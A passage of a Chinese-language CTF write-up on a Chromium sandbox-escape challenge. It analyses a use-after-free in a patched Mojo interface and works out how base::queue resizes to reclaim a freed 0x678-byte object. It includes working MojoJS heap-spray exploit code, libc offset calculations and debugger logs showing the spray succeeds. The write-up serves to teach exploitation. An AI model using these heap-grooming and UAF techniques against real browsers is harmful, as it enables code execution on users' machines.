11:0088│ 0x560f295c8a70 —▸ 0x560f22d1df80 (content::InnerDbImpl::GetTotalSize()) ◂— push rbp
12:0090│ 0x560f295c8a78 ◂— 0x0
... ↓

的确是虚表没错(废话

另外有一个比较崩溃的事情是我发现内存中根本没有heap段…所以所有的堆都是PartitionAlloc来分配管理的?

查看InnerDbImpl大小

通用的方法是,直接看汇编malloc了多少。比如直接看构造函数,看一下传递给malloc的大小是多少。

但是看了一下InnerDbImpl::InnerDbImpl()的汇编,没有找到这种内存分配函数…有点迷惑

然后换一个思路,看了一下GetInt和GetDouble函数的汇编:

1
2
3
4
5
0x5630596c5f50 <content::InnerDbImpl::GetInt()>:	push   rbp
0x5630596c5f51 <content::InnerDbImpl::GetInt()+1>: mov rbp,rsp
0x5630596c5f54 <content::InnerDbImpl::GetInt()+4>: mov eax,DWORD PTR [rdi+0x668]
0x5630596c5f5a <content::InnerDbImpl::GetInt()+10>: pop rbp
0x5630596c5f5b <content::InnerDbImpl::GetInt()+11>: ret
1
2
3
4
5
0x5630596c5f70 <content::InnerDbImpl::GetDouble()>:	push   rbp
0x5630596c5f71 <content::InnerDbImpl::GetDouble()+1>: mov rbp,rsp
0x5630596c5f74 <content::InnerDbImpl::GetDouble()+4>: movsd xmm0,QWORD PTR [rdi+0x670]
0x5630596c5f7c <content::InnerDbImpl::GetDouble()+12>: pop rbp
0x5630596c5f7d <content::InnerDbImpl::GetDouble()+13>: ret

可以看到偏移分别是0x668和0x670。因此猜测这个对象的大小应该在0x670左右因为double是对象的最后一个属性。进一步分析在下一小节。

查看InnerDbImpl结构

在开始的时候并不知道这个结构的大小是不是对利用有用,但是在大佬的脚本里直接写了这个大小是0x678?

最开始的想法是在这里下断点:

1
2
3
+TInstanceImpl::TInstanceImpl(InnerDbImpl* inner_db) : weak_factory_(this) {
+ inner_db_ptr_ = inner_db;
+}

这个函数很短,里面是直接的指针赋值,拿到指针之后我们就可以直接看到指向的内存是什么样子。这里的inner_db_ptr_就是InnerDbImpl*的。

1
b content::TInstanceImpl::TInstanceImpl(content::InnerDbImpl*)

我们看一下对应的代码是什么:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
push   rbp
mov rbp,rsp
push r14
push rbx
mov r14,rsi
mov rbx,rdi
lea rax,[rip+0x68aaf24] # 0x564884b749f8 <vtable for content::TInstanceImpl+16>
mov QWORD PTR [rdi],rax
add rdi,0x10
mov rsi,rbx
call 0x564880173f30 <base::internal::WeakPtrFactoryBase::WeakPtrFactoryBase(unsigned long)>
mov QWORD PTR [rbx+0x8],r14
pop rbx
pop r14
pop rbp
ret

根据函数,可以得知rdi是第一个参数:this,rsi是第二个参数:inner_db。汇编代码将rsi赋值给r14,最后将r14写入[rbx+0x8]的位置,也就是存放inner_db_ptr_的位置。

TStorage在Init之后本身的inner_db_是一个InnerDbImpl的unique智能指针。TStorage在createInstance的时候,用的是其inner_db_的原生指针来创建的,也就是一个指向InnerDbImpl的指针。TInstance的创建的时候直接将传入的指针作为自身的inner_db_ptr_。我们的rsi应该就是一个指向InnerDbImpl的指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
+namespace content {
+ class InnerDbImpl : InnerDb {
+ public:
+ InnerDbImpl();
+ ~InnerDbImpl() override;
+
+ void Push(uint64_t value);
+ uint64_t Pop();
+ void Set(uint64_t index, uint64_t value);
+ uint64_t Get(uint64_t index);
+ void SetInt(int64_t value);
+ int GetInt();
+ void SetDouble(double value);
+ double GetDouble();
+ uint64_t GetTotalSize() override;
+
+ std::array<uint64_t, 200> array_;
+ base::queue<uint64_t> queue_;
+ int64_t int_value_ = 0;
+ double double_value_ = 0.0;
+ };
+}

注意:如果直接去看rsi指向的内存,你会发现其中的内容几乎无法理解,这是因为内存没有被初始化。为了方便查看,我们可以通过简单的代码来初始化其中的array和queue:

1
2
3
4
5
6
7
8
9
10
11
12
for(var i = 0; i < 200; i++){
await ti_ptr.set(i, 0x1000+i);
}
await ti_ptr.push(0x2001);
await ti_ptr.push(0x2002);
await ti_ptr.push(0x2003);
await ti_ptr.push(0x2004);
await ti_ptr.push(0x2005);
await ti_ptr.pop();
await ti_ptr.setDouble(1.1);
await ti_ptr.setInt(0x1234);
print(hex((await ti_ptr.getInt()).value));

通过最后一句,下断点:

1
b content::InnerDbImpl::GetInt()

触发之后,查看rdi寄存器指向的内存,就是InnerDbImpl的内存:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> x/20gx $rdi
0x3a7ee150e300: 0x000055a1ee383a60 <= 一个指向虚表的指针 0x0000000000001000 <= array的第0个元素
0x3a7ee150e310: 0x0000000000001001 0x0000000000001002
0x3a7ee150e320: 0x0000000000001003 0x0000000000001004
0x3a7ee150e330: 0x0000000000001005 0x0000000000001006
0x3a7ee150e340: 0x0000000000001007 0x0000000000001008
0x3a7ee150e350: 0x0000000000001009 0x000000000000100a
0x3a7ee150e360: 0x000000000000100b 0x000000000000100c
0x3a7ee150e370: 0x000000000000100d 0x000000000000100e
0x3a7ee150e380: 0x000000000000100f 0x0000000000001010
0x3a7ee150e390: 0x0000000000001011 0x0000000000001012
...
0x3a7ee150e920: 0x00000000000010c3 0x00000000000010c4
0x3a7ee150e930: 0x00000000000010c5 0x00000000000010c6
0x3a7ee150e940: 0x00000000000010c7 <= array的199元素 0x00003a7ee15bfae0 <= queue_指针
0x3a7ee150e950: 0x0000000000000006 <= queue的总大小 0x0000000000000001 <= queue的起始index
0x3a7ee150e960: 0x0000000000000005 <= queue的结束index 0x0000000000001234 <= int
0x3a7ee150e970: 0x3ff199999999999a <= double 0x0000000000000000
0x3a7ee150e980: 0x0000000000000000 0x0000000000000000

queue指针:

1
2
3
4
pwndbg> x/10gx 0x00003a7ee15bfae0
0x3a7ee15bfae0: 0x0000000000002001 0x0000000000002002
0x3a7ee15bfaf0: 0x0000000000002003 0x0000000000002004
0x3a7ee15bfb00: 0x0000000000002005 0x0000000000000000

array的大小是固定的,但是queue的大小是可变的。我们可以通过queue来消耗内存。

示意图:

innerdbimpl

此时的结构依旧是我们猜测的,并不是绝对正确,之后有纠正版本。

InnerDbImpl的大小为0x678。

看到这里会发现我们之前的想法又是错的:我们之前以为可以直接覆盖InnerDbImpl的vtable,但是结构体中存的其实是指向vtable的指针。如果我们想通过覆盖GetTotalSize函数的指针,我们需要在某个已知地址的位置写好目标地址,然后将该位置的地址写到InnerDbImpl中的*vtable的位置。

这里说的指向虚表的指针,专业一点叫vtable entry。学到了。

番外的leak

在上面我们发现array的内容并没有初始化清0,所以如果直接将内容打印出来,也许就可以泄露出一些有趣的内容。

1
2
3
for(var i = 0; i < 200; i++){
print(hex((await ti_ptr.get(i)).value));
}
1
2
3
4
5
[0714/115053.440484:INFO:CONSOLE(11)] "[+] Start", source: file:///home/wgn/Desktop/chromium_sbx/test.html (11)
[0714/115053.451598:INFO:CONSOLE(11)] "0xfffffffd4ef66000", source: file:///home/wgn/Desktop/chromium_sbx/test.html (11)
[0714/115053.452665:INFO:CONSOLE(11)] "0x00005621347a4340", source: file:///home/wgn/Desktop/chromium_sbx/test.html (11)
[0714/115053.454159:INFO:CONSOLE(11)] "0x00005621362ea540", source: file:///home/wgn/Desktop/chromium_sbx/test.html (11)
[0714/115053.456603:INFO:CONSOLE(11)] "0x00005621347a1a60", source: file:///home/wgn/Desktop/chromium_sbx/test.html (11)

例如,在array的最开始可以比较稳定泄露出代码段的地址。之后可以泄露出一些mmap分配的地址,具体功能不清楚。libc的地址暂时没有看到。

虽然这里可以泄露,但是并不是特别的稳定。泄露libc可能需要一定的运气?可能这里就是出题人最开始想要的泄露的点,但是由于不稳定干脆直接写一个泄露的函数好了(猜测)。

堆喷

之前的准备做好了,大致的攻击思路也理顺了,现在可以开始堆喷了!

这个步骤很简单,大量的C[i].push,看看能不能拿到之前释放的内存。至于判别拿到的标准,只需要调用getInt,看一下是不是我们填充进去的值即可。

不求甚解的堆喷

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
print("[+] Prepaired for heap spray");
// many many push
for(var i = 0; i < list_size; i++){
// InnerDbImpl size = 0x678
for(var j = 0; j < 0x678/8; j++){
await C[i].push(0x12340000+j);
}
}
// check A[i]
for(var i = 0; i < list_size; i++){
var int_value = (await A[i].getInt()).value;
if(int_value != 0){
print("Found");
print(hex(int_value));
}
}
print("Finished");

根据Balsn的WP,思路就是,既然对象大小是0x678,那我每个C[i]都push进去这么多,然后挨个检查A[i]的getInt的值是不是被我们控制了。如果有的话,可以很方便地找出对应的是那个C[i]在控制,这样就可以控制queue指针任意地址读写了。

然而现实是残酷的:

1
2
[0714/124611.430678:INFO:CONSOLE(11)] "[+] Prepaired for heap spray", source: file:///home/wgn/Desktop/chromium_sbx/test.html (11)
[0714/124638.598358:INFO:CONSOLE(11)] "Finished", source: file:///home/wgn/Desktop/chromium_sbx/test.html (11)

把list_size调到0x200依旧没有成功。感受到了大佬在比赛的时候的绝望hhh。

其实这个脚本中有一个明显的疑点,0x678的大小是我们分次push进去的。上面的脚本中是8字节8字节push进去的,Balsn的WP中是分0x600/64次,每次push8次8字节,不知道这样的push会有什么不同?而且最神奇的是Balsn这种路子竟然是行得通的。

如果我们把这个位置的堆分配机制和glibc heap做类比的话,我们猜测的是reset之后就会有对应大小的堆块释放出来。大概就是0x678字节左右。我们在push的过程中,每次push8字节,queue的大小在变化,但是不一定会消耗0x678大小的空闲堆块。

就在我质疑queue的时候,看到了2019大佬的的WP博客

In this challenge, a UAF is caused by improper use of unique_ptr::get, and *by manipulating base::queue we can allocate a buffer with same size as the UAF object, which allows us to completely control the UAF object. *Then the heap address can be leaked by inserting elements into base::deque field of a UAF object, whose contents can be controlled and obtained. Then we can control the RIP by rewriting the vtable and call the virtual function. By pivoting the stack ROP can be done.

粗体的字是我们比较在意的:通过操作queue我们可以分配缓冲区,其大小和UAF利用的对象相同。看来还是对queue理解的不够深啊。【苦笑

如何用queue精准控制内存分配

我继续阅读了2019 的博客,看起来在如何分配指定大小内存这个问题上大家都比较困惑…

经过上面的分析,我们基本可以确定,只能通过InnerDbImpl的queue来利用内存。

你可能会问,为啥不通过ArrayBuffer之类的结构来分配内存呢?这是因为这些结构体在渲染层。我们的UAF需要在浏览器进程中利用。

queue的基本操作我们已知有push和pop。经过之前盲目地尝试大量push并不能达到UAF的效果。下面我们需要深入地看一下queue的具体实现,找到精准控制内存分配的方法。

我们知道Chrome中的queue是base::queue,首先想到的就是去查一下Chrome源码,找到这个queue和std::queue有没有什么区别。找到定义并不难:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// Copyright 2017 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

#ifndef BASE_CONTAINERS_QUEUE_H_
#define BASE_CONTAINERS_QUEUE_H_

#include <queue>

#include "base/containers/circular_deque.h"

namespace base {

// Provides a definition of base::queue that's like std::queue but uses a
// base::circular_deque instead of std::deque. Since std::queue is just a
// wrapper for an underlying type, we can just provide a typedef for it that
// defaults to the base circular_deque.
template <class T, class Container = circular_deque<T>>
using queue = std::queue<T, Container>;

} // namespace base

#endif // BASE_CONTAINERS_QUEUE_H_

模版的功能,还有std::queue,可以参考补充知识中的C++模版

通过注释可以发现,chromium中的base::queue和C++标准库中的std::queue差别不是很大。区别是base::queue使用base::circular_deque取代了std::deque,没有特殊指定的话使用的就是base::circular_deque。继续看base::circular_deque是如何[实现]([https://source.chromium.org/chromium/chromium/src/+/master:base/containers/circular_deque.h?q=base::%20circular_deque&ss=chromium&originalUrl=https:%2F%2Fcs.chromium.org%2F](https://source.chromium.org/chromium/chromium/src/+/master:base/containers/circular_deque.h?q=base:: circular_deque&ss=chromium&originalUrl=https:%2F%2Fcs.chromium.org%2F))的。

通过阅读C++ STL中queue的代码:

1
2
3
00210       void
00211 push(const value_type& __x)
00212 { c.push_back(__x); }

可以发现std::queue的push其实是调用的deque的push_back,pop其实是pop_front。我们的重点应噶就是base::circular_deque的push_back和pop_front函数。

看一下push_back:

1
void push_back(T&& value) { emplace_back(std::move(value)); }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
template <class... Args>
reference emplace_front(Args&&... args) {
ExpandCapacityIfNecessary(1);
if (begin_ == 0)
begin_ = buffer_.capacity() - 1;
else
begin_--;
IncrementGeneration();
new (&buffer_[begin_]) T(std::forward<Args>(args)...);
return front();
}

template <class... Args>
reference emplace_back(Args&&... args) {
ExpandCapacityIfNecessary(1);
new (&buffer_[end_]) T(std::forward<Args>(args)...);
if (end_ == buffer_.capacity() - 1)
end_ = 0;
else
end_++;
IncrementGeneration();
return back();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void pop_front() {
DCHECK(size());
buffer_.DestructRange(&buffer_[begin_], &buffer_[begin_ + 1]);
begin_++;
if (begin_ == buffer_.capacity())
begin_ = 0;

ShrinkCapacityIfNecessary();

// Technically popping will not invalidate any iterators since the
// underlying buffer will be stable. But in the future we may want to add a
// feature that resizes the buffer smaller if there is too much wasted
// space. This ensures we can make such a change safely.
IncrementGeneration();
}

其中比较让人注意的就是ExpandCapacityIfNecessary(1);ShrinkCapacityIfNecessary();。这两个函数是涉及到缓冲区的扩张和缩小的,所以我们比较在意。接着看一下这两个函数的实现,可以看到在扩展内存和缩小内存的时候,用到了很多比例。这个和我们对std::queue的了解是想符合的。我们需要了解一下具体是如何计算的,这关系到我们如何分配/释放指定大小的内存。

我们一步一步看:

1
2
3
4
5
6
7
void SetCapacityTo(size_t new_capacity) { //设置容量的函数,new_capacity的要设置的新的容量
// Use the capacity + 1 as the internal buffer size to differentiate
// empty and full (see definition of buffer_ below).
VectorBuffer new_buffer(new_capacity + 1);
MoveBuffer(buffer_, begin_, end_, &new_buffer, &begin_, &end_);
buffer_ = std::move(new_buffer);
}

查找VectorBuffer可以找到:

1
2
3
4
5
VectorBuffer(size_t count)
: buffer_(reinterpret_cast<T*>(
malloc(CheckMul(sizeof(T), count).ValueOrDie()))),
capacity_(count) {
}

也就是count乘T的大小。在我们的场景中,push&pop的都是uint64_t,所以也就是8count。*为了让这里的new_buffer是0x678大小的,我们需要让传进来的new_capacity = 0x678/8-1 = 0xce。**

后面的MoveBuffer和设置_buffer就是更新缓冲区的操作了。

这个时候仔细看一下,VectorBuffer的属性:

1
2
T* buffer_ = nullptr;
size_t capacity_ = 0;

circular_deque的属性:

1
2
3
VectorBuffer buffer_;
size_type begin_ = 0;
size_type end_ = 0;

可以把之前的InnerDbImpl的结构再修正一下了:

innerdbimpl2

继续看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void ExpandCapacityIfNecessary(size_t additional_elts) {
size_t min_new_capacity = size() + additional_elts;
if (capacity() >= min_new_capacity)
return; // Already enough room.

min_new_capacity =
std::max(min_new_capacity, internal::kCircularBufferInitialCapacity);

// std::vector always grows by at least 50%. WTF::Deque grows by at least
// 25%. We expect queue workloads to generally stay at a similar size and
// grow less than a vector might, so use 25%.
size_t new_capacity =
std::max(min_new_capacity, capacity() + capacity() / 4);
SetCapacityTo(new_capacity);
}

用到的函数:

1
2
3
4
5
size_type size() const {
if (begin_ <= end_)
return end_ - begin_;
return buffer_.capacity() - begin_ + end_;
}
1
2
3
4
size_type capacity() const {
// One item is wasted to indicate end().
return buffer_.capacity() == 0 ? 0 : buffer_.capacity() - 1;
}

函数中,最后调用了SetCapacityTo,看一下传进去的new_capacity是怎么计算的。在之前的代码中可以看到这个函数的参数additional_elts一般都是1。首先判断了一下现在的容量够不够。够的话就返回。然后计算min_new_capacity,取internal::kCircularBufferInitialCapacity相比的最小值。这个值可以查到,等于3:

1
2
3
4
5
// Start allocating nonempty buffers with this many entries. This is the
// external capacity so the internal buffer will be one larger (= 4) which is
// more even for the allocator. See the descriptions of internal vs. external
// capacity on the comment above the buffer_ variable below.
constexpr size_t kCircularBufferInitialCapacity = 3;

之后在注释中解释说,std::vector是按照50%的比例扩大空间的,WTF::Deque是按照25%的比例扩展空间的。设计者希望queue慢一点,所以选择了25%。可以大致这样梳理:如果容量不够,看看涨25%够不够,够用了就涨25%,不够用你就要加多少加多少。例如:

  • 当前容量100,现在要101,不够了,加25%为125够了,那就125
  • 当前容量100,现在要200,不够了,加25%也不够,那就200

继续看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void ShrinkCapacityIfNecessary() {
// Don't auto-shrink below this size.
if (capacity() <= internal::kCircularBufferInitialCapacity)
return;

// Shrink when 100% of the size() is wasted.
size_t sz = size();
size_t empty_spaces = capacity() - sz;
if (empty_spaces < sz)
return;

// Leave 1/4 the size as free capacity, not going below the initial
// capacity.
size_t new_capacity =
std::max(internal::kCircularBufferInitialCapacity, sz + sz / 4);
if (new_capacity < capacity()) {
// Count extra item to convert to internal capacity.
SetCapacityTo(new_capacity);
}
}

首先要求容量不能少于3。如果占用的要比空闲的多,不处理。否则的话,看一下size的1.25倍是不是小于当前容量,如果小,就更新容量,原来的就用了,相当于释放空间。

通过上面的两个主要函数,假设分支满足,如果我们每次只增长1,可以发现:

  • 扩展空间的时候,原来容量是x,新的容量是x+1/4*x = 5/4 * x
  • 缩小空间的时候,原来容量是x,此时占用是1/2*x,新的容量是1/2*x+1/8*x = 5/8 * x

下面要做的事情就是找到一个方案,有一个初始容量,然后经过上述的变化让最后的容量变为0xce,这样大小正好是0x678。

如果在没有push任何值的情况下,queue指针为null,容量和其他的index也都为0,没有初始化:

1
2
3
0x1c0cfd3e9240:	0x00000000000010c7	0x0000000000000000
0x1c0cfd3e9250: 0x0000000000000000 0x0000000000000000
0x1c0cfd3e9260: 0x0000000000000000 0x0000000000000000

push一个值之后,容量变为3+1=4,这个相当于初始状态。

1
2
3
0x259561134b40:	0x00000000000010c7	0x00002595611772e0
0x259561134b50: 0x0000000000000004 0x0000000000000000
0x259561134b60: 0x0000000000000001 0x0000000000000000
1
2
push * ?: 0 1 2 3 4 5 6 7 8 9
capacity: 0 4 4 4 5 6 7 8 9 b

这个变化看起来有点伪直觉:为什么push4个容量明明够用却增加了呢?看一下注释中的说明:

1
2
3
4
5
6
7
8
9
10
11
12
13
// Danger, the buffer_.capacity() is the "internal capacity" which is
// capacity() + 1 since there is an extra item to indicate the end. Otherwise
// being completely empty and completely full are indistinguishable (begin ==
// end). We could add a separate flag to avoid it, but that adds significant
// extra complexity since every computation will have to check for it. Always
// keeping one extra unused element in the buffer makes iterator computations
// much simpler.
//
// Container internal code will want to use buffer_.capacity() for offset
// computations rather than capacity().
VectorBuffer buffer_;
size_type begin_ = 0;
size_type end_ = 0;

根据注释可以看到,我们一直保留一个没有使用的位置。这是因为,如果不设置一个空闲的位置,那么全空和全满时,begin和end都是处于相等的状态,不是很好区分。也就是说,我们在内存中看到的容量是x,实际能装下的只有x-1个元素(不考虑不足3的情况)。

buffer_.capacity()是capacity()+1

从10开始容量的变化如下:

1
2
push * ?: 0xa 0xb 0xd  0x10 0x13 0x17 0x1c 0x22 0x2a
capacity: 0xb 0xd 0x10 0x13 0x17 0x1c 0x22 0x2a 0x34

直接看可能有点晕,解释一下。这里看到的内存中的是Buffer_.capacity,是真实的capacity+1的值,也就是说真实容量是内存中的capacity-1。当我们push 10个值时,此时内存中显示的容量是0xb=11,真实容量是10,再压入,真实容量会变为10+10/4=12,内存显示的容量为12+2=13=0xd,之后真实容量变为12+12/4=15,内存中显示的容量为15+1=16=0x10。以此类推。

另外,在2019的博客中说容量从10开始才会使用上面的算法,我没有找到对应的代码。从容量为5开始的结果和算法是符合的。

1
2
3
4
capacity = 11

def push(capacity):
return ((capacity-1)+(capacity-1)/4)+1

如果一直push的话,capacity_(内存中的容量值,也是真实的缓冲区大小)的变化为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0x6
0x7
0x8
0x9
0xb
0xd
0x10
0x13
0x17
0x1c
0x22
0x2a
0x34
0x40
0x4f
0x62
0x7a
0x98
0xbd
0xec

经过之前的分析,我们希望capacity_的值为0x678/8=0xcf。不过这里直接就跳过了,所以我们还需要用pop来缩小缓冲区,最后把缓冲区的大小“夹”到正好0xcf。看一下缩小的变化:

1
0x4f 0x31 0x1f 0x13 0xc 0x7 ...
1
2
3
4
def pop(capacity):
c = capacity-1
c = c/2
return (c+c/4)+1

现在就可以计算到达0xcf的路径了。在2019的代码中是通过随机来试出来的,我觉得这个想法很好,现场写个BFS还是回溯什么的不一定有随机来的快。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import random

def push(capacity):
return ((capacity-1)+(capacity-1)/4)+1

def pop(capacity):
c = capacity-1
c = c/2
return (c+c/4)+1

while 1:
step = 0
capacity = 0x5
result = []
while capacity < 0x100 and step < 100:
step += 1
if random.random() > 0.1:
capacity = push(capacity)
else:
capacity = pop(capacity)
result.append(capacity)
if capacity == 0xcf:
print result
print step
exit(0)

可以找到很多方案:

1
2
3
4
33 [6, 7, 8, 9, 6, 7, 8, 9, 11, 13, 16, 19, 23, 28, 34, 42, 52, 64, 79, 98, 122, 76, 94, 58, 72, 89, 111, 69, 86, 107, 133, 166, 207]
29 [6, 7, 8, 9, 11, 13, 16, 19, 23, 28, 34, 42, 52, 64, 79, 49, 61, 76, 47, 58, 72, 89, 56, 69, 86, 107, 133, 166, 207]
29 [6, 7, 8, 9, 11, 13, 16, 19, 23, 28, 34, 42, 52, 64, 79, 98, 122, 152, 94, 58, 72, 89, 111, 138, 86, 107, 133, 166, 207]
29 [6, 7, 8, 9, 11, 13, 16, 19, 23, 28, 34, 42, 52, 64, 79, 98, 61, 38, 47, 58, 72, 89, 111, 138, 172, 214, 133, 166, 207]

基本山都是需要3次缩小缓冲区的操作。我们选择第二个方案:

1
79 (pop) 49 76 (pop) 47 89 (pop) 56 207

pop的次数超过一半即可缩小缓冲区。尝试一下写js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
for(var i = 0; i < 79-1; i++){
await ti_ptr.push(0x10000+i);
} // capacity = 79
for(var i = 0; i < 39; i++){
await ti_ptr.pop();
} // capacity = 49
for(var i = 0; i < 76-40; i++){
await ti_ptr.push(0x20000+i);
} // capacity = 76
for(var i = 0; i < 38; i++){
await ti_ptr.pop();
} // capacity = 47
for(var i = 0; i < 51; i++){
await ti_ptr.push(0x30000+i);
} // capacity = 89
for(var i = 0; i < 45; i++){
await ti_ptr.pop();
} // capacity = 56
for(var i = 0; i < 163; i++){
await ti_ptr.push(0x40000+i);
}

可以看到capacity_的大小确实为0xcf了:

1
2
3
4
0x14aa1ab7c630:	0x00000000000010c5	0x00000000000010c6
0x14aa1ab7c640: 0x00000000000010c7 0x000014aa1ac02a00
0x14aa1ab7c650: 0x00000000000000cf 0x0000000000000000
0x14aa1ab7c660: 0x00000000000000ce 0x0000000000000000

看一下queue的位置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> x/20gx 0x000014aa1ac02a00
0x14aa1ac02a00: 0x0000000000030008 0x0000000000030009
0x14aa1ac02a10: 0x000000000003000a 0x000000000003000b
0x14aa1ac02a20: 0x000000000003000c 0x000000000003000d
0x14aa1ac02a30: 0x000000000003000e 0x000000000003000f
0x14aa1ac02a40: 0x0000000000030010 0x0000000000030011
0x14aa1ac02a50: 0x0000000000030012 0x0000000000030013
0x14aa1ac02a60: 0x0000000000030014 0x0000000000030015
0x14aa1ac02a70: 0x0000000000030016 0x0000000000030017
0x14aa1ac02a80: 0x0000000000030018 0x0000000000030019
0x14aa1ac02a90: 0x000000000003001a 0x000000000003001b
...
pwndbg> x/20gx 0x000014aa1ac02a00+0x678-0x10
0x14aa1ac03068: 0x00000000000400a2 0x0000000000000000 <= 最后一个压入的值,和一个空位置,正好0x678这么大
0x14aa1ac03078: 0x0000000000000000 0x0000000000000000
0x14aa1ac03088: 0x0000000000000000 0x0000000000000000

现在我们可以正正好好分配出0x678这么大的缓冲区给InnerDbImpl使用了。

控制int_value_

现阶段的攻击代码(重点部分):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
async function pwn(){

// Create TStorage
var ts_ptr = new blink.mojom.TStoragePtr();
Mojo.bindInterface(blink.mojom.TStorage.name, mojo.makeRequest(ts_ptr).handle);
await ts_ptr.init();
// now we can createInstance
var ti_ptr = (await ts_ptr.createInstance()).instance;

// get libc leak and .text leak
var libc_leak = (await ts_ptr.getLibcAddress()).addr;
print_value("[+] Libc leak: ", libc_leak);
// print(hex(libc_leak));
var text_leak = (await ts_ptr.getTextAddress()).addr;
print_value("[+] Text leak: ", text_leak);
// print(hex(text_leak));
var libc_base = libc_leak-0x40730;
print_value("[+] Libc base: ", libc_base);
// print(hex(libc_base));
var system = libc_base+0x4f4e0;
var malloc_hook = libc_base+0x3ebc30;
var free_hok = libc_base+0x3ed8e8;

// TStorageImpl->inner_db_ptr_
// TInstanceImpl->inner_db_
// ^| both them point to same memory
// try to make a dangling pointer
A = []; // many many TInstance (inner_db_)
B = []; // many many TStorage (inner_db_ptr_)
C = []; // also many many TInstance for heap spray

var list_size = 10;

for(let i = 0; i < list_size; i++){
B.push(null); // init B[i]
B[i] = new blink.mojom.TStoragePtr();
Mojo.bindInterface(blink.mojom.TStorage.name, mojo.makeRequest(B[i]).handle);
await B[i].init();
A.push((await B[i].createInstance()).instance);
}

for(var i = 0; i < list_size; i++){
var tmp_ts_ptr = new blink.mojom.TStoragePtr();
Mojo.bindInterface(blink.mojom.TStorage.name, mojo.makeRequest(tmp_ts_ptr).handle);
await tmp_ts_ptr.init();
C.push((await tmp_ts_ptr.createInstance()).instance);
}

// reset TStorage->inner_db_ptr_ in B[]
for(var i = 0; i < list_size; i++){
await B[i].ptr.reset();
}

这一部分主要是准备工作,把A B C三个数组都处理好,下面准备堆喷。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
	print("[+] Prepaired for heap spray");

for(var idx = 0; idx < list_size; idx++){
for(var i = 0; i < 200; i++){
C[idx].set(i, 0x1000+i);
}
for(var i = 0; i < 79-1; i++){
await C[idx].push(0x10000+i);
} // capacity = 79
for(var i = 0; i < 39; i++){
await C[idx].pop();
} // capacity = 49
for(var i = 0; i < 76-40; i++){
await C[idx].push(0x20000+i);
} // capacity = 76
for(var i = 0; i < 38; i++){
await C[idx].pop();
} // capacity = 47
for(var i = 0; i < 51; i++){
await C[idx].push(0x30000+i);
} // capacity = 89
for(var i = 0; i < 45; i++){
await C[idx].pop();
} // capacity = 56
for(var i = 0; i < 163-1; i++){
await C[idx].push(0x40000+i);
}
await C[idx].push(0x74747474); // int_value_
}

print("[+] Heap spray finished");

for(var i = 0; i < list_size; i++){
var temp = (await A[i].getInt()).value;
print_value("GetInt(): ", temp);
}

}

pwn();

我们大量地分配0x678大小的缓冲区,并且在InnerDbImpl的int_value_的位置填充为0x74747474,这样之后只需要挨个找A[i]的getInt()的值就可以找到UAF成功的是哪个。执行效果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
➜  chromium_sbx ./chrome --headless --remote-debugging-port=1338 --user-data-dir=./userdata --enable-blink-features=MojoJS test.html

DevTools listening on ws://127.0.0.1:1338/devtools/browser/080f5471-c83f-4167-8884-647e97144a30
[0715/160556.195434:WARNING:ipc_message_attachment_set.cc(49)] MessageAttachmentSet destroyed with unconsumed attachments: 0/1
[0715/160556.195451:ERROR:command_buffer_proxy_impl.cc(122)] ContextResult::kTransientFailure: Failed to send GpuChannelMsg_CreateCommandBuffer.
[0715/160556.238121:INFO:CONSOLE(10)] "[+] Start", source: file:///home/wgn/Desktop/chromium_sbx/test.html (10)
[0715/160556.265578:INFO:CONSOLE(16)] "[+] Libc leak: 0x7f9508f9a730", source: file:///home/wgn/Desktop/chromium_sbx/test.html (16)
[0715/160556.267198:INFO:CONSOLE(16)] "[+] Text leak: 0x562195539e60", source: file:///home/wgn/Desktop/chromium_sbx/test.html (16)
[0715/160556.268185:INFO:CONSOLE(16)] "[+] Libc base: 0x7f9508f5a000", source: file:///home/wgn/Desktop/chromium_sbx/test.html (16)
[0715/160556.325054:INFO:CONSOLE(10)] "[+] Prepaired for heap spray", source: file:///home/wgn/Desktop/chromium_sbx/test.html (10)
[0715/160558.964653:INFO:CONSOLE(10)] "[+] Heap spray finished", source: file:///home/wgn/Desktop/chromium_sbx/test.html (10)
[0715/160558.968178:INFO:CONSOLE(16)] "GetInt(): 0x74747474", source: file:///home/wgn/Desktop/chromium_sbx/test.html (16)
[0715/160558.969260:INFO:CONSOLE(16)] "GetInt(): 0x74747474", source: file:///home/wgn/Desktop/chromium_sbx/test.html (16)
[0715/160558.970501:INFO:CONSOLE(16)] "GetInt(): 0x74747474", source: file:///home/wgn/Desktop/chromium_sbx/test.html (16)
[0715/160558.971735:INFO:CONSOLE(16)] "GetInt(): 0x74747474", source: file:///home/wgn/Desktop/chromium_sbx/test.html (16)
[0715/160558.973112:INFO:CONSOLE(16)] "GetInt(): 0x74747474", source: file:///home/wgn/Desktop/chromium_sbx/test.html (16)
[0715/160558.978775:INFO:CONSOLE(16)] "GetInt(): 0x74747474", source: file:///home/wgn/Desktop/chromium_sbx/test.html (16)
[0715/160558.978831:INFO:CONSOLE(16)] "GetInt(): 0x74747474", source: file:///home/wgn/Desktop/chromium_sbx/test.html (16)
[0715/160558.980117:INFO:CONSOLE(16)] "GetInt(): 0x74747474", source: file:///home/wgn/Desktop/chromium_sbx/test.html (16)
